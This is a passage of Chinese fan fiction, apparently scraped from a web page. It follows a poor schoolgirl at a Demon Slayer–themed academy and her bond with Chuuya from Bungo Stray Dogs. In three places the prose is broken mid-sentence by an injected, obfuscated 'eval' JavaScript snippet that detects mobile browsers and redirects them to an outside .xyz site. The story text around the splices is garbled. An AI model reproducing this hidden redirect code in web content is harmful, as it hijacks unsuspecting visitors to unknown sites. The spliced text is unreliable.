电车开动,已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14467460|154282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经调整好情绪的薄叶葵也开始向他用口型说着什么—— “中、也,那、以、后、喊、你、小、豹、子、吧。” 什么啊! 没等到他反驳,电车就开走了。 . 鬼灭学园,意外地大。 起码薄叶葵从没来过这种对她来说非常气派的地方。 学校门口已经站着两个美丽的女孩子,束起的发辫上都带着蝴蝶装饰,看上去是一家人。 “你好,新同学。”英气中不失温柔的学姐向她打招呼,“我是高中三年级的蝴蝶忍,这是我妹妹栗花落香奈乎。” “我们负责今日的迎新工作。” 薄叶葵带来的行李少到足以忽略不计,其中大部分甚至还是中原中也塞过来的。 门前的学长们没什么嫌弃的表情,还有不少人准备带她去报道。 直到一辆低调的黑色轿车驶来,仅仅是在校门口停留片刻就扬长而去,丝毫没有顾及门口的新生们。 “那是谁啊……”薄叶葵身后一个有着艳丽的头发颜色的男孩子有些犹豫地问,“这样做是不是不太好?” 他好像在学校画册里才能看见的猫头鹰啊!还有离他稍远的地方……那个成年男人应该是他爸爸吧?大号猫头鹰? 薄叶葵瞳孔地震。 “我、我是炼狱千寿郎。”看见有人看他,小猫头鹰弱弱地自我介绍,“那是我爸爸。” “我是薄叶葵。”她没有介绍自己的家庭状况。 “小葵?”蝴蝶忍在她说完后就笑眯眯地看过来,“哎呀,花道部柿班的神崎学妹与你同名呢,她是个认真的人,一定也会喜欢你的。” “哎?谢谢学姐……”这下轮到薄叶葵不好意思了,这么温柔又有力量的大姐姐散发善意,她还是有些不知道怎么应对的。 “刚刚那是学园里的‘邪恶校董’啦!”拿着名册的风纪委员我妻善逸嘀咕着抱怨,“应该还有他的邪恶秘书……” 想到对方那堪比特种兵的身体素质,他主动闭上了嘴。 又忍不住八卦,开始跟新生们科普什么是“邪恶校董”和他的“邪恶秘书”。 不久前驶进校园的车主名叫鬼舞辻无惨,是这座学校校长产屋敷先生的远亲,因此也持有一定的学校股份,但他和脾气温柔的产屋敷一家一点也不一样,反而骄傲自大还脾气极差,有不少学生都很害怕他。 还有他身边那个代号“黑死牟”的秘书,没有人知道他的本名,他身为一个秘书体格倒是更像保镖,每天带墨镜表情也很严肃什么的。 总之是吓哭小孩二人组! 相传邪恶校董还认识很多社会败类,比如说一个喜欢骗婚女性的白毛男,还有每天神神叨叨说着什么“我的壶真是太美了”的男人,甚至是喜欢顺手牵羊的小偷。 “还有教导主任音川小姐,跟邪恶校董同一阵营,学妹你们可千万要记住了!”我妻善逸一脸严肃地叮嘱。 “这么可怕……”小猫头鹰脸色苍白,又看看身边瘦弱的薄叶葵,开口安慰她,“没关系的薄叶葵同学,我哥哥是学校里的历史老师,很受欢迎的!” 话音刚落,一道橙红色的影子就冲出了校门,“千寿郎!父亲大人!” 薄叶葵看着这道热情似火的影子,以及成功会面的三个炼狱—— 这是……猫头鹰的一家? 难道妈妈也是一只猫头鹰吗? 5. 第五章 虽然被学长们耳提面命,尽量不要接触鬼舞辻无惨和他身边的人,但薄叶葵没想到自己这么倒霉。 比如作为一个不爱说话的死宅,居然能触发“被邪恶校董的邪恶秘书堵在剑道练习室旁边的储物间门口”这种剧情。 原因是入学一周后,温柔的蝴蝶忍学姐带着栗花落香奈乎前来招新,薄叶葵才知道原来这位学姐拿过剑术比赛冠军。 她感到非常惊奇,大概是因为蝴蝶学姐还是药学部的成员,没想到在剑道上也同样有天赋。 更让她惊奇的是,身边的同学们一个个都见怪不怪——剑术嘛,他们每个人都会两招。 不只是学生,学校里的老师也是战斗力爆表,随便来一个人都能去操场连跑十圈。 于是在第一节体育课时,薄叶葵就接收到了体育老师富冈义勇的特殊关照。 三圈热身运动跑完,她已经扶着膝盖气喘吁吁,富冈老师顶着他大帅哥的脸,面无表情地问她:“你没吃饭吗?” 薄叶葵:“……” 没吃,怎样? 再看看其他同学——好像一群不知疲倦的大猩猩。 就连动不动就脸红的小猫头鹰炼狱千寿郎都满脸轻松。 体质只有5的薄叶葵感觉自己受到了不小的伤害。 所以在蝴蝶忍询问她要不要加入社团时,她义无反顾地猛点头,“要要要,学姐能不能教我剑道?” “……哎?” 本来是想问这个孩子要不要进入药学部的蝴蝶忍笑眯眯,歪着头思索一会儿后还是同意了。 她给了薄叶葵一把剑道部储藏室的钥匙,让她自己来挑选合适的木刀。 但小葵完全没想到自己会在储藏室门口遇到邪恶秘书先生啊! 她抱着一把最轻的木刀僵硬地向他点点头,因为完全不知道怎么称呼他,就只能试图把自己变成一张薄饼贴在墙壁上溜走。 一步、两步、快要到墙角了……到墙角了! 薄叶葵狠狠松了一口气。 邪恶秘书真的不是保镖吗?为什么邪恶校董会有一个身高一米九浑身肌肉的秘书啊! 还好还好,自己可以走了。 只要转个身,很有压迫感的秘书先生就再也看不见自己了! “栗子酱!你又在乱跑什么!?” 压抑着怒气的声音在走廊响起,同时扑面而来的还有一大团高速移动的黑影—— “咚!” 以为自己能逃出生天的薄叶葵被一只体重超标的肥啾撞上脑门,满眼金星地摔在了走廊柔软的地毯上。 “……哎?啊!栗子酱看你做的好事!” 等到再次清醒过来,她被三个人团团围住,其中两道高大的身影挡住了阳光……呜呜,中也,你在哪,我突然好想你。 薄叶葵绝望地闭上眼睛。 “小姐!小姐你没事吧!”手里抓着刚刚的肇事肥啾的黑发绿眼睛女孩看上去很着急,“我送你去医务室!” “啊……”感觉稍微好一点的薄叶葵主动撑住地毯坐起来,“我还好,医务室就不用去了。” 嗯?为什么眼前有两个邪恶秘书先生?! “要不还是去吧!我好像脑震荡了!” “……兄长,我们好像吓到这位小姐了。”其中一位邪恶秘书看上去有些忧心忡忡,“夕,栗子酱的体重有那么重吗?” 带墨镜的邪恶秘书发出一声嗤笑,“平日里给它喂那么多鸟粮的人是谁?” 他又打量一番坐在地上懵懵懂懂的薄叶葵。 “身为剑士,身体素质太差,四肢无力,重心不稳,观察力薄弱,啧。” “兄长你……” “我说的有什么不对么?” “老师你先闭嘴!” 薄叶葵看着和自己差不多大的女孩子从地上弹射起来比了个叉,“您的重点偏啦,这位小姐你真的没事吗?抱歉……是我没有看好栗子酱才让你受伤了。” “严胜老师和缘一老师是双胞胎哦,不要在意严胜老师说什么,他说话就是这样的。” 继国严胜:“……目无尊长。” 继国缘一轻轻笑了下,“兄长真是口是心非。” “我还需要口是心非才能……” “要学剑吗?”扎着高马尾的青年主动帮薄叶葵捡起木剑。 “平日里我和你对练,你都从未生出将剑技传授于人的想法。”继国严胜诧异一瞬,接着有点刻薄的评价,“何况还是这样弱小的家伙。” “就像兄长所说。” 已经在旁边留着公主切发型女孩的帮助下认清楚两个人的薄叶葵听到继国缘一柔和的声音。 “……毕竟是我给栗子酱喂了太多食物才导致这位小小姐受伤的,不是么?” 于是薄叶葵被稀里糊涂地拉进了剑技练习室,又“被迫”观摩了一番双胞胎之间的剑技对决。 最终以继国缘一收回木刀,弯着眼睛说出的“承让,兄长大人”为结束语。 “你不会真的要将她作为继承人吧?”将木刀丢开,继国严胜很不爽地浅哼一声。 “……继承人的话,到也不能这么说。” “我只是不想让一位想要变强的小小姐失望。” ……被看出来了?薄叶葵下意识攥住制服下摆,毕竟她醒过来时眼睛里全是惊慌失措,大概也免不了对于“死亡”的恐惧和对自己无能的愤怒。 “薄叶酱,你没事吧?”身边的绿眼睛女孩发出有点担忧的声音。 薄叶葵下意识抬头,正对上对方充满担忧的苍绿色眼睛。 像冬日森林一样宁静悠远的眼睛,配上对方漆黑光亮的长发和垂在脸颊两侧的刘海……好像垂耳兔! 雪野夕两只手攥着正在努力扑腾的栗子酱,也在打量身侧比她矮半个头、看上去又很瘦弱的薄叶葵。 黑发短而蓬松,好像有点营养不良所以毛毛躁躁的,眼睛是浅灰色,五官又很圆润……好像小鹿! 好可爱啊! 就在两个女孩在心中动物塑对方的时候,那边切磋的兄弟俩之间的气氛也微妙起来。 邪恶秘书继国严胜喊了一句雪野夕的名字。 “在!”雪野夕攥着栗子酱跑过去,“有什么事嘛老师。” 继国严胜按住她的头把她转了个方向,“你会赢过缘一准备教导的人的,对吧?” 雪野夕:“……哎?” 她和茫茫然的薄叶葵对视一瞬,立刻当机立断放开栗子酱,自己向上伸手推开老师强人所难的手,“什么鬼啊老师你这个死傲娇……啊啊啊,我错了。” “缘一老师你看他!”被制裁完的小女孩马上反水告状,“他居然跟一个小孩子发脾气。” 继国缘一无奈地做了个“请”的手势,“兄长,不如对弈一局?” 被邀请的人轻哼一声,看样子是答应了。 “夕吗,那么可以拜托你来教导薄叶小小姐的基本剑技姿势吗?”继国缘一温和地问:“你们两个年纪差不多,应该会更有共同语言一些。” “没问题。”接到委托的女孩点点头,“毕竟撞到她是我不对嘛。” 兄弟二人退场,只留下头顶上顶着一只肥啾的女孩拿起木刀,“可以叫你小葵吗?当然,直接叫我夕就行了。” 从没受到过如此友好对待的薄叶葵卡壳一瞬,才有点脸红地点点头。 “唔,小葵是为什么想要学剑技呢?” “这个……”是入门考核吗,她迷糊地想,“嗯……因为看到了蝴蝶学姐,她很帅气……” 对方拥有和自己一样娇小瘦弱的身躯,但既能游刃有余地待人接物,又拿到过剑术比赛的冠军,听说她还是药学部的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14467461|154282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成员…… “我也想成为忍学姐那样闪闪发光的人。” “这样啊……”被拜托的雪野夕摸摸下巴,“也对,忍姐姐的剑道比较适合你,毕竟我们不像老师他们一样有足够的力量完成各种劈砍,只能在【突刺】这一项上下功夫。” 薄叶葵:“……” 对方好像误会了,自己脱口而出的好像是一些杂乱又可笑的憧憬而不是…… 雪野夕冲着她眨眨眼睛,“是吧?” 薄叶葵:“……嗯。” 是这样的。 她不擅长更不希望剖析自己的内心,在学园的这些天,她过的安稳又平静,虽然见不到中也会经常担心他会不会受伤,但暂时脱离了家后,就好像猛然卸下什么重担一样。 怀揣着说不清道不明的情绪,薄叶葵开始了基本功的练习。 ……准确的说是体力练习大赏,十几岁的孩子正处在发育期,又经常营养不良,这让她看起来总是苍白且脆弱。 来到鬼灭学院以后,虽然有奖学金的加持,但薄叶葵依旧延续了自己每天最多只吃两顿饭的习惯。 还要再想想办法,看看附近有没有兼职可以做。 ——如果假期到来时她没有攒下一笔令爸爸满意的生活费,一定会被他勒令退学吧? 小葵不想退学。 . “嘿,小葵!” 在一个中午,正在剑道部的院子里努力挥刀的薄叶葵听见雪野夕的声音。 她抬头看去,正好看见对方扒在墙上,露出弯弯眼睛的画面。 “……夕酱为什么在那里啊?” “你吃饭了吗?” 完全忽略她上一个问题的雪野夕一撑围墙,像只轻盈的蝴蝶一样翻过来落在地上,“一起去吃饭吧?” 还不等薄叶葵搭话,她就轻巧地说下去,“因为某个大小姐知道我交了新朋友所以正在生气,所以我要把你也介绍给她。” “哎?” 还没反应过来就被对方像抱小孩一样抱住腰、夹在腋下的薄叶葵露出死鱼眼,接着她感觉到自己的海拔猛然升高—— “为什么要翻墙啊!门不是开着吗?” “因为这样会比较帅气。” 而围墙下另一个等待的银发女孩瞪大眼睛,“雪野夕!你已经从见一个爱一个发展到要强抢别的小女孩了吗?不要当人渣啊!” “……源真理子!这是你的真心话吧!” “本、本小姐才没那么说!” 没吃饭且被“挟持”的薄叶葵被新朋友拎着晃晃悠悠。 救命啊,中也你在哪里! . “我不是故意的。”雪野夕老老实实切好牛排推到她们两个面前,“我只是觉得这种出场方式更拉风。” 她头上的栗子酱发出惊天大笑。 看见源真理子和薄叶葵都在盯着这团毛球看,她就顺便把它也扯下来丢过去了。 当玩具去吧! 栗子酱:“啾?” “我才不要。”源真理子躲开,任由这坨肥啾栽进沙发里,她上下打量一番旁边盯着牛排咽口水的薄叶葵,“……你是没吃过饭吗?” “嗯。”薄叶葵老老实实地点头,“这个没吃过,我以前只听同学们说过。” 而且他们说出来是为了嘲笑自己是个穷鬼和土包子。 被一记直球打上脑门的源真理子惊愕地瞪大眼睛,良久,她才红着脸把切好的两份牛排往薄叶葵那里推推,小声嘀咕,“真是的……那你还不快吃,和那个人一样讨厌。” 看着薄叶葵不熟练地用刀叉扒拉切成牛肉粒的样子,这位小姐又十分别扭地表示,“下午我要在花园里开茶话会,有很多茶点可以吃,你来不来……反正爱来不来。” 这次轮到托着腮看她俩的雪野夕发出大笑了。 6. 第六章 假期,薄叶葵下车时,果然看到一道黑色的身影已经站在站台前等她。 是中原中也。 他的视线在人群中漫不经心地寻索着,直到一身制服的薄叶葵下车,这才眼睛一亮。 “小葵?”他迎上来,“没饿瘦了吧……” 薄叶葵没有瘦,甚至还因为在学校待了一个月,每天吃源真理子带来的小点心而长胖了。 “长高了一厘米。”中原中也很笃定地说。 “这也能看出来吗?”她凑近和他比了比,好像两个人都是矮矮的。 “当然。”他点点头,“没有饿到就好啦。” “中也好像很怕我吃不上饭。”薄叶葵哭笑不得,“放心吧,在学校里的同学都很照顾我。” 正不自然地将手插进兜里的人眼里好像闪过一丝羡慕,但他很快就将这种情绪压下去,眉眼间也带上一份对朋友有了更好生活而生出的纯粹快乐。 他们两个人一起走出车站,中原中也去街边买了两份冰激凌,递给她一个。 “但中也好像有点不开心。”薄叶葵接过咬了一口,“是……羊出了什么事情吗?” “当然不会!有我在,谁敢……”提及这个话题,明明还是个小孩子的他恶狠狠咬了一口冰激凌。 但也正是因为由他在,有这个渐渐被世人认定的“羊之王”在,小羊们的行事风格越来越大胆。 从一开始需要抱团才能活下去,到现在逐渐不满足,甚至会主动打劫别的组织的物资。 他并不赞同这种做法,在中原中也看来,羊中每一个人的安全是比物资要重要千百倍的东西,没有足够的物资,他们尚且可以依靠短暂的艰苦过下去,可是如果招惹了太多敌对组织,他也并不清楚自己能否护住每一个同伴。 这一切,中原中也并不打算告诉薄叶葵。 在太阳下小口啃着冰激凌的女孩,在过去的一个月里长高了、也变胖了,毛躁的头发变长了一点,比以前更加有光泽,提到学校生活,她的眼中第一次有了轻松和释然。 小葵以后不需要像他一样穿梭于大街小巷之间,中原中也心想。 “好像最开始。”薄叶葵看着阳光下逐渐融化的冰激凌,“我遇到你的时候是在想怎么才能活下来,到后来想感谢中也,想到最出格的愿望也只是一天买三个不同口味的面包。” “喂,我怎么可能这么凶啊!”回忆起过去,中原中也脸上浮起一层薄红,又轻声调侃,“我可是一直记得葵要送面包的誓言呢。” “我当然不会忘记啊。” “那就给我好好读书嘛。” “中也……好像我爸爸。” “哈?”他被这个不可思议地称呼雷到,脸色差点变得与赭发一样,“这、随随便便这么叫人也太糟糕了吧。” 有什么不对吗?薄叶葵吞下最后一口冰激凌,她还觉得雪野夕和源真理子是她妈妈呢。 区别就是…… “我发现我身边有好多傲娇。”她一脸认真地描述,“中也你也是,很容易就脸红了。” 她向中原中也讲述了在学校里是怎么被一只肥啾撞到从而开启了学刀之路,接着又被同学提出去每天投喂等等。 “真理子经常在花园里开茶话会,有很多肉馅的点心都很好吃。” “她还吐槽夕夕不喜欢吃辣的甜的哭的酸的……” 薄叶葵还没分享完,两道身影就急匆匆地从拐角处冲出来拉住中原中也—— “中也你怎么在这里?” “有人来找羊的麻烦,跟我们走吧?” 说话的是一个薄叶葵从没见过的粉发女孩子,身形娇小,脸也漂亮得像洋娃娃。 她抓住了中原中也的胳膊,粉色的长发垂落,与他赭色的发丝一深一浅映在薄叶葵眼中。 说起来,中也的发色是如此绚烂的颜色,会让她想到夕阳的光辉。 可偏偏眼睛又是钴蓝色。 心情低落时,她会逃出家门,无处可去,这种时候就只能去海边走一走,直到饿到没办法,回家时往往都是黄昏时刻。 那时候温柔地洒落在碧蓝海面上的落日光辉,就会暖融融地披散在肩上。 “是羊出什么事了吗?”她主动退后一步,“中也你快去看看吧。” “小葵?”中原中也好像有一瞬间的错愕,但他很快就压低声音,搓掉手指上残留冰激凌的冷意和甜味,“我先去处理那边的事,明天见。” 于是他们安静地告别。 女孩子没有回头,白濑好像丢过来一个意味不明的视线。 中原中也是属于羊的,是属于他们的。 他不可能长久地停留在薄叶葵身边。 . “假期回去了一趟居然一点也没变开心?”小点心提供者源真理子坐在椅子上托腮看着薄叶葵,“我有可丽饼,吃吗?” “吃!” 浓郁的甜味充斥口腔,薄叶葵三下五除二咽下一块,引来源真理子“你是饿死鬼投胎不成”的无语眼神。 大小姐看她边吃边喝茶顺顺,最后撑到仰躺在椅子上的模样,忍不住站起来走到钢琴前,“今天心情好,听说饭后听音乐能促进消化……爱听不听。” 大小姐是真的很喜欢在最后加上一句“爱要不要”“爱听不听”“爱吃不吃”。 但即使故意说不要,她下次还是会别扭地过来问问自己。 宁静的钢琴声在花园中响起,不过没过多久,就被一声惊天动地的惨叫打破。 薄叶葵从昏昏欲睡中猛然醒来,心率直逼两百的同时一脸茫然。 源真理子钢琴错音,此时正满脸黑线。 “是、是两位学妹啊。”发出惨叫的我妻善逸不好意思地摸摸头,“对不起……刚刚有毛毛虫跳我领子上了。” 和他一起来的秀美女孩开口:“那是俺的观察对象啊。” 她怎么穿的男装还不穿鞋,以及刚刚是谁在说话? 桌子上没吃完的可丽饼应该不会发出如此雄浑有力的男性声音吧! 小葵脸上露出幻灭的表情。 “伊之助是男的啦。”我妻善逸不好意思地摸摸自己蓬松 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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雪野夕:“……?” 学校里一直有个恐怖传说,据说邪恶校董并不是人类,而是一只喜欢吃人的鬼,他身边的秘书黑死牟更是他的得力助手。 每天晚上都会搜罗童男童女进献给自己效忠的主人云云。 为了消灭邪恶,让入夜后的大家不再惶恐,一些心思坚定的人聚集在一起,共同使用“日轮刀”斩杀恶鬼,这也就是学园名字的由来以及学生们努力锻炼身体的原因。 “因为说自己是剑士会很帅。”雪野夕说:“学园的击剑社确实流传着各种呼吸法分支,其中最厉害的就是缘一老师的【日之呼吸】,其他剑型都来自于这种呼吸法的衍生。” “夕也会呼吸法吗?”薄叶葵好奇地询问。 “嗯,我学习的是严胜老师的【月之呼吸】哦。” 7. 第七章 一晃眼,十五岁。 本该整日在出租屋里发呆,靠着幻想玻璃橱窗里精美蛋糕尖上那枚鲜艳樱桃的甜味的女孩,也许不会想到自己有一天会站在宽阔的操场上,有可以随意打闹的朋友,有强健有力的身体。 甚至也许还有……憧憬美好未来的勇气。 “咔嚓!” 拥有粉绿渐变色彩的大姐姐快乐地朝她挥挥手,“小葵,看这里哦!” 薄叶葵转过头去,露出浅薄却真实的笑容。 “哎呀,真可爱。”回学校来采风拍照的甘露寺蜜璃捧着脸,“待会儿和我一起去吃樱饼吧?” “好哦学姐。” “你们两个,不会又要把我家的点心铺吃到没法开张吧?” 同样返校的神崎葵脸上露出苦恼的神色。 “可以去我们的店里吃。”带着口罩的伊黑小芭内说话很简短,“但是……” “知道知道——” “不许靠近我家蜜璃,是吧?”不知道是谁额外在“我家”上咬住重音,让周围一圈人哈哈大笑起来。 脖子上盘着一条蛇的伊黑先生脸红透了,那抹红色在笑声中继续蔓延,直到没入衣领深处。 甘露寺蜜璃的脸也红了。 “明明都结婚好久了,果然还是一对恋爱笨蛋呢。” “呀!忍,你就不要再取笑我啦。” “祢豆子也答应和我在一起了呢。”所有人中最春风得意的我妻善逸恨不得把自己准备结婚的消息宣告全世界。 就比如今天早上。 薄叶葵:“我妻师兄?你也返校啊?” 我妻善逸:“啊?你怎么知道我要和祢豆子结婚啊哈哈哈哈哈哈哈。” 源真理子:“……谁问你了?” 我妻善逸:“哎呀我要和……啊?是真理子学妹啊?我先走了!” 源真理子,鬼灭学园著名的【分手大师】,不管是谁来找她聊感情问题,她最后只会给出一个建议,那就是—— “分!” 惹对方生气?分。 忘记纪念日?分。 在一起出门买彩票没中奖?分分分! 薄叶葵:“……” 是不是有点太极端了? “我这叫不拆正缘。”源真理子抬头望天,“我妻师兄那么不靠谱,祢豆子学姐不是也没被我劝分吗?” “好像也是。”薄叶葵表示自己明白,“再过一个暑假就要升到高中部了,我想提前去看看老师名单。” “想要悲鸣屿行冥老师当班主任。”雪野夕正拉住手里的栗子酱,它到处乱飞待会儿被伊黑老师的蛇吃掉可怎么办。 “他随身带了很多猫咪相关的东西,特别可爱!” 栗子酱的痘痘眼里冒出两缕怒火,恶狠狠地冲着主人的额头啄了上去。 我怕蛇也怕猫啊啾啾!怎么这个就不知道提醒人家呢啾! 被揪住刘海的雪野夕冷哼一声,把手里愤怒的小鸟丢了出去。 一时间操场乱成一锅粥。 主席台上的人没有喝粥的想法。 鬼舞辻无惨面色难看地看着下面闹腾的学生,真是的,当初他到底为什么想来当这个校董? 哦,因为学园是产屋敷家的产业,他身为产屋敷家的远亲,试图将本家搞破产的男人,怎么能不来分一杯羹呢? 但没想到董事会是进去了,一进门就看到一个红发高马尾的青年,嘴里还念叨着什么“兄长、你把兄长怎么了!” 天杀的,他只是从本家那里以高薪把改名黑死牟的继国岩胜挖过来当秘书了而已,怎么对面搞得像自己把他哥哥带坏了一样。 每次会议,黑死牟就会坐在他的左手侧,红发青年继国缘一也立刻跟着胞兄坐下,鬼舞辻无惨就开启了自己莫名其妙的恐惧时刻,大概是……如芒在背、如鲠在喉、如坐针毡。 所以直到今年毕业季,他的邪恶计划已经更新到了第二十八版,至今仍未开始实行。 不行不行不行! 不能再这样下去了! 鬼舞辻无惨微微后仰,“启动我们的第二十九版计划。” 黑死牟:“好的,boss。” . “欸?”源真理子瞪大眼睛,“怎么突然要转回欧陆上学啊?” “因为妈妈和爸爸都在那边啦。”雪野夕捂着额头,另一只手里还拎着奄奄一息的栗子酱,“还有真理子你,一点公司的事情都不关心,未来已经快把我念叨死了。” “有姐姐在不就好了嘛。”傲娇二小姐心虚地移开视线,凑近另一边正在啃点心的薄叶葵,“那接下来三年本小姐要和小葵一起渡过了,放心,本小姐会照顾你的!” 薄叶葵一脸呆萌地咽下肉馅点心:“啊?好哦。” “但真理子真的不需要回去吗?” “才不。”二小姐撅嘴,“回去就一定会看见鹤羽那家伙。” “黏黏糊糊的恋情什么的,拒绝啦!” 恋情啊…… 想到今天看到的甘露寺学姐和伊黑老师,还有祢豆子学姐和我妻师兄。 薄叶葵嚼着点心的动作为之一停。 她有个很可爱的习惯,那就是有时候做事过于专注,就会忘记自己要做的另一件事。 源真理子戳戳她的脸颊,小葵才直愣愣地连上网,“啊?” “老实交代!”源真理子双手叉腰,“你是不是有情况!” 恋情……她确实下意识地想到了一个人。 想到他就会想到巷子里的野草闲花、想到那日午后过于明亮的太阳、巷子中的幽绿色撒在他赭色的发上,钴蓝色的眼睛望过来时的一份惊愕、两分直率。 亦或是想到逃离逼仄的出租屋后来到辽阔的海边、夕阳流淌进海水里,摸起来是冷的,但接触久了自己也变成对方的温度。 也许更是冰激凌尖上的一口、是蛋糕上舍不得咽下的鲜艳樱桃、是在玻璃糖纸上轻轻舔舐寻求的最后一点甜味。 中原中也。 中、原、中、也。 连名字也很可爱。 “你看起来已经无法自拔了耶。” 源真理子无语地唤回小姐妹的神志,丢给她一块手帕擦去嘴角残留的点心碎渣。 “真理子……不会要在只是暗恋的阶段都要说‘分手,你们不合适’这种残忍的话吧?”薄叶葵小声辩解,一边去看朋友们的脸色。 “这倒是没有,但看你的样子,未来肯定会被他吃得死死的。” “嗯……” 薄叶葵把脑袋枕在臂弯里,第一次向朋友们讲述自己的故事—— 在香烟缭绕里成长的女孩、开口说话时就会被呛得咳嗽不止。 铁皮出租屋里暴躁无能的父亲与沉默怯懦的母亲。 第一次听到【异能者】声音与想象中截然不同的身影。 父亲的失业、母亲的眼泪,在每一个放学时刻准时出现在巷子口等待她的人。 三年中在车站中屡次同时抬头相望的心照不宣、会顺手将她背着的沉重书包接过、看向她时自然而然弯起的眼睛。 “帮我借了诗集吗?谢谢你啊小葵。” “……” 源真理子的动作有点凝固。 显然在她前十几年的人生里,从来没有经历过上述任何一项窘境。 以至于她现在脑子里干巴巴的,想不出任何有效的安慰词汇。 良久,她用手肘怼了怼身边梳理栗子酱羽毛的雪野夕,用眼神示意她快说些什么缓和氛围。 雪野夕:“嗯……” “小葵你……未来努力赚钱买一个带有地下室的房子?” 薄叶葵:“……啊?” 源真理子:“雪野夕你在说什么啊!别煽动同学去做犯法的事啊!” “是、是囚禁的意思???”薄叶葵听见源真理子的怒吼才瞬间无师自通理解了小姐妹话中的含义,“这、这个好像有点困难吧。” 雪野夕:“困难是指——你不想这么做还是把对方囚禁这个计划实施起来有点难?” 源真理子:“我真的要报警了啊喂!” 薄叶葵:“呃……按照实际情况来看实施起来很难呢。” 源真理子:“???” 她拽着雪野夕站起来,有点崩溃地表示,“你还是快点出国吧!别教坏小孩子!” “小葵和我们同岁啊。”被推搡的人不忿的起身,“好吧好吧,真没想到道别时会这么难过呢。” “哪有赶得那么急。”源真理子无情地吐槽,“你不是还有两个月的假期吗?” 雪野夕顺着她的力道往前走了两步,突然转身从口袋里掏出一枚糖果丢给薄叶葵。 大概是国外的牌子,薄叶葵没有见过,但这一枚小巧糖果的糖纸在光下流光溢彩,正巧是她非常喜欢收藏的类型。 “小葵,你相信命运吗?”扔给她糖果的人问她。 “不、我不相信。”对于这个问题,薄叶葵几乎是下意识地回答。 爸爸和妈妈总是太过相信命运,她也只能随着命运前进,但在心里,小葵总是不甘且逆反。 总有一天,她要摆脱这些。 “唔。”雪野夕点头,“好想法。” “假期要回家吗?正巧我也有事去横滨一趟。” . “荒神?”薄叶葵重复了一遍中原中也说出的词汇。 她在书上见过这位小众的神明,至于是什么书…… 是中原中也看过的诗集和神话传说。 “中也为什么会问这个。”她托腮坐在他身边,他们两个在车站碰头后,照理一起在街上漫步闲聊。 这一次他好像有意避开了羊,和她一起走进街角一家偏僻的糖果店。 缤纷的色彩将两人包围,浓郁甜腻的香气扑上来。 像是在梦里一样。 “横滨最近不怎么太平。”赭发少年微微叹气,“港口mafia最近似乎换了新的首领,行事作风与旧的那位大不相同。 ” 他无从了解对方是个什么样的人,但从最近发生的一系列事情来看,【羊】最好还是不要主动招惹为好。 知晓他这种意图后,白濑有些不忿。 毫无疑问,中原中也是他见过的最强大的异能者,没有之一。 但他并不想如何张狂且肆无忌惮地使用自己的力量,反而在除“守护”以外的事情上努力的收敛自己。 这在白濑看来,无非是中原中也将自己与其他小羊划分开来、无意于站在他们战线上的表现。 尤其是在看到港口mafia的一位黑衣少年主动找上他后。 内心的慌乱与不满混合成一团,甚至做出了主动挑衅那位港口mafia派出的人的行动。 ——反正对面和自己年纪差不多嘛。 有中也在,应该是可以解决的吧? 这些是薄叶葵对白濑想法的推断。 “在此之前,我从没听你提起过【羊】内部的动向。”薄叶葵从玻璃柜旁边抽出一个巴掌大小的塑封袋,开始对着这些漂亮的糖果挑挑拣拣。 不久前雪野夕给她的那枚糖果还停留在口袋里,从外表来看应该是昂贵的类型。 ……现在这些充斥着色素和甜味剂的糖果对她来说也并不便宜。 所以小葵只装了几枚就停止了动作。 “喜欢就多装点。”中原中也低声对她说:“……我也想吃一点。” “所以小葵对【荒神】怎么看?”他又问了一遍这个问题,像是没什么底气,还有点焦虑的模样。 “……很小众的神,需要尊重吧?”薄叶葵有点茫然,虽然她是不挑食的类型,但面对五花八门的糖果一时间也难以下手。 大概是不知道先选哪个比较好。 踌躇之下手指碰到兜里的糖果,玻璃糖纸在触碰下发出细碎声响,又被她下意识地掏出来剥开。 ——糖纸里包裹的是两个浅绿色的半球形糖果,含进嘴里时就能用舌尖描绘出它外壁的脆壳,内里却是青柑与薄荷的流心。 青柑的苦涩被薄荷的凉意冲淡,连在店中待久后对甜腻气息开始反胃的冲动也被恰到好处的消解。 一人一半的糖果让两个人都冷静下来,中原中也这才有点艰难地拉扯一下唇角。 他在迷茫,从得知镭钵街的由来与自己的身世后就开始了。 “那我呢?”他忍不住追问身边的伙伴,“如果我就是……承载荒神的容器,小葵会觉得我也……” 骤然听到这种离奇消息的薄叶葵有一瞬茫然,她看了看四周,他们还在一家街角小店里,老板慵懒地靠坐在柜台后撸猫,面前的旧机器不知道在放着哪年的音乐,身侧充斥着亮晶晶又粗糙的糖罐,除此之外,再没有他人。 坦白来说,小葵讨厌神塑。 也许是不信奉神明的人总是缺乏一些敬畏,又或许是遭受过困苦的人心里不甘——如果祈求神明就可以达成心愿,那么我这些年来所遭受到的痛苦算什么? 还是说是我不够诚心呢? 哈。 只是不想实现我的愿望吧,还是说神明也会将心愿划分三六九等、只挑选自己喜欢的来实现? 